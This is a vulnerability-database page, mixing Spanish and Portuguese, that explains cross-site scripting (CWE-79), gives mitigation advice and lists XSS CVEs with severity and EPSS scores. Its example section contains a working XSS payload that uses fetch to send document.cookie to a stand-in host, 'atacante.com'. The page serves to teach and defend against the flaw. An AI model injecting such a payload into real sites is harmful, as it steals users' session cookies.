Fallos del tipo CWE-79

28.446 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-43362HIGHStored Cross-site Scripting (XSS) when creating external links in CactiEPSS 38.6%CVE-2024-43364MEDIUMStored Cross-site Scripting (XSS) when creating external links in CactiEPSS 37.9%CVE-2024-22241MEDIUMAria Operations for Networks contains a cross site scripting vulnerability. A malicious actor with admin privileges can inject a malicious pEPSS 37.8%CVE-2023-0563LOWPHPGurukul Bank Locker Management System Assign Locker add-locker-form.php cross site scriptingEPSS 37.6%CVE-2024-50352MEDIUMLibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/overview/services.inc.phpEPSS 37.6%CVE-2021-20323—A POST based reflected Cross Site Scripting vulnerability on has been identified in Keycloak.EPSS 37.2%CVE-2021-21087MEDIUMColdFusion Improper neutralization of web input during page generation could lead to arbitrary JavaScript execution in the browserEPSS 37.1%CVE-2023-46127MEDIUMFrappe vulnerable to HTML injection by any Desk userEPSS 37.0%CVE-2018-5550—Versions of Epson AirPrint released prior to January 19, 2018 contain a reflective cross-site scripting (XSS) vulnerability, which can allowEPSS 36.9%CVE-2022-28851MEDIUMAEM Reflected XSS Arbitrary code executionEPSS 36.8%CVE-2024-42008CRITICALA Cross-Site Scripting vulnerability in rcmail_action_mail_get->run() in Roundcube through 1.5.7 and 1.6.x through 1.6.7 allows a remote attEPSS 35.9%CVE-2025-0370MEDIUMWP Shortcodes Plugin — Shortcodes Ultimate <= 7.3.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via src ParameterEPSS 35.6%CVE-2024-32479HIGHLibreNMS's Improper Sanitization on Service template name leads to Stored XSSEPSS 34.1%CVE-2025-10573CRITICALStored XSS in Ivanti Endpoint Manager prior to version 2024 SU4 SR1 allows a remote unauthenticated attacker to execute arbitrary JavaScriptEPSS 33.5%CVE-2024-4901HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 33.0%CVE-2024-6886CRITICALInproper Sanitation of field leading to stored XSSEPSS 33.0%CVE-2020-35730MEDIUMAn XSS issue was discovered in Roundcube Webmail before 1.2.13, 1.3.x before 1.3.16, and 1.4.x before 1.4.10. The attacker can send a plain EPSS 32.7%KEVCVE-2024-21725MEDIUM[20240204] - Core - XSS in mail address outputsEPSS 32.2%CVE-2023-24322MEDIUMA reflected cross-site scripting (XSS) vulnerability in the FileDialog.aspx component of mojoPortal v2.7.0.0 allows attackers to execute arbEPSS 31.7%CVE-2025-30349HIGHHorde IMP through 6.2.27, as used with Horde Application Framework through 5.2.23, allows XSS that leads to account takeover via a crafted tEPSS 31.3%